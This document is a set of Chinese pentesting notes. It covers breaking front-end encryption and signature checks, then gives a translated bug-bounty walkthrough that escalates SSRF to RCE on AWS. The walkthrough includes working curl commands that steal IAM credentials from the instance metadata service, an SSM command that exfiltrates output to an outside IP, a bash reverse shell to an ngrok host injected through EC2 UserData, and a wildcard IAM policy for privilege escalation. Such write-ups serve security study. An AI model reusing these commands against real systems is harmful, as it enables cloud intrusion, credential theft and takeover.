随手记

一、【渗透测试】AES+SM4 两层加密算法加密传输场景下的通用渗透测试思路

  1. 用Python重新实现加解密算法
  2. JSRPC 转发加解密函数
  3. Mitmproxy 对流量进行加解密
  4. Mitmproxy 对流量进行加解密

二、渗透测试高级技巧：分析验签与前端加密（一）

  1. 秘技一：破解验签防篡改

    Untitled

    1. 生成一个 KEY，默认为 16 位数 1234123412341234
    2. 从表单中获取用户填写的用户名和密码进入getData()函数中
    3. 用户数据用户名密码字符串排列拼接好之后，使用Encrypt函数为他计算签名
    4. 把计算的结果和 KEY 进行 JSON.stringify(...)处理后通过fetch提交
    重新整理一下思路我们想到，JS 操作表单提交数据的话，一般有几种方式？笔者在这里列出一些基础的特性，大家可以有一个印象：
通过创建一个form元素然后执行他的submit方法来实现，一般来说特征代码是使用 constform Instance = document.createElement("form"); ... ;formInstance.submit()

1.使用 AJAX：var xhr = new XMLHttpRequest(); ... xhr.open("POST", '/submit', true);
2.使用 jQuery Ajax：$.ajax(...)
3.通过 JavaScript fetch 函数实现
4.使用第三方库例如Axios API实现

  2. 秘技二：渗透前端JS加密表单

    Untitled

    1. 密钥被硬编码（1234123412341234）
    2. IV 是随机生成，也可以给一个固定值

  3. 案例：获取密钥和提交表单不在同一个请求中

    1. 请求一：先执行 GET /crypto/js/rsa/generator 获取签名验证用的 RSA 密钥
      1. 使用数据提取功能，提取请求一中的公钥的 PublicKey，用来加密 KEY 和 IV
      2. 使用 AES 加密数据，并把加密后的 KEY 和 IV 一起发送到服务器
    2. 请求二：继承请求一中的密钥，加密请求中参数

  4. 难点：解决HTTP响应加密问题

三、【翻译】漏洞赏金故事：在AWS上将SSRF升级为RCE(026)

  1. ssrf，SSRF 攻击可能导致 AWS 凭证泄露。

    curl --referer <redacted> "https://<redacted>/proxify/?url=https://abcdefghijklmnopkrstuvwxyz.interact.sh" -i

检索到了角色名称
> curl --referer <redacted> "https://<redacted>/proxify/?url=169.254.169.254/latest/meta-data/iam/security-credentials/" -i

获取所有的凭证
> curl --referer <redacted> "https://<redacted>/proxify/?url=169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm" -i

  2. 远程代码执行

    列出接受安全凭证以执行命令的实例。
> aws ssm describe-instance-information --output text --query "InstanceInformationList[*]"

遗憾的是，该角色没有被授权执行send-command操作。否则，我们可以使用以下命令来获得远程代码执行（RCE）的能力：
> aws ssm send-command --document-name "AWS-RunShellScript" --comment "RCE" --targets "Key=instanceids,Values=[instanceid]" --parameters 'commands=curl 213.62.1.1:8000/`whoami`'
An error occurred (AccessDeniedException) when calling the SendCommand operation: User: <redacted> is not authorized to perform: ssm:SendCommand on resource: <redacted>

  3. 通过UserData(这第二种方法可能会触发警报和服务中断，但在某些情况下仍然可能实现远程代码执行。)

    修改UserData以包含我们的命令，并重启EC2实例以便在启动时执行它。
> curl <http://169.254.169.254/latest/user-data>

停止所选的实例
> aws ec2 stop-instances –instance-ids i-xxxxxxxxxxxxxxx

添加反向Shell脚本到现有实例的UserData末尾（如果有的话）
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.ngrok.io/15547 0>&1

然后使用新创建的脚本更新实例的UserData：
> base64 user_data.sh > user_data64.sh
> aws ec2 modify-instance-attribute \\\\
    --instance-id=i-xxxxxxxxxxxxxxx \\\\
    --attribute userData --value file://user_data64.sh

启动一个本地监听器以捕获反向Shell。
> nc -lvp 15547
Listening on 0.0.0.0 15547

使用新添加的用户数据启动实例：
> aws ec2 start-instances –instance-ids i-xxxxxxxxxxxxxxx

就这样！我们在实例上获得了一个Shell。
> nc -lvp 15547
Listening on 0.0.0.0 15547
[root@xxx-xx-xx-xxx html]#

注意：所有这些步骤可以使用Pacu合并成一个命令执行。

注意：所有这些步骤可以使用Pacu合并成一个命令执行。
Pacu > run ec2__startup_shell_script --script user_data.sh --instance-ids i-xxxxxxxxxxxxxxx@eu-west-1

  4. 权限提升

    让我们创建一个拥有所有权限的新策略，并将其设置为默认策略：

    [root@xxx-xx-xx-xxx html]# aws iam create-policy \\
    --set-as-default --policy-document \\
'{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": "*",
            "Resource": "*"
        }
    ]
}'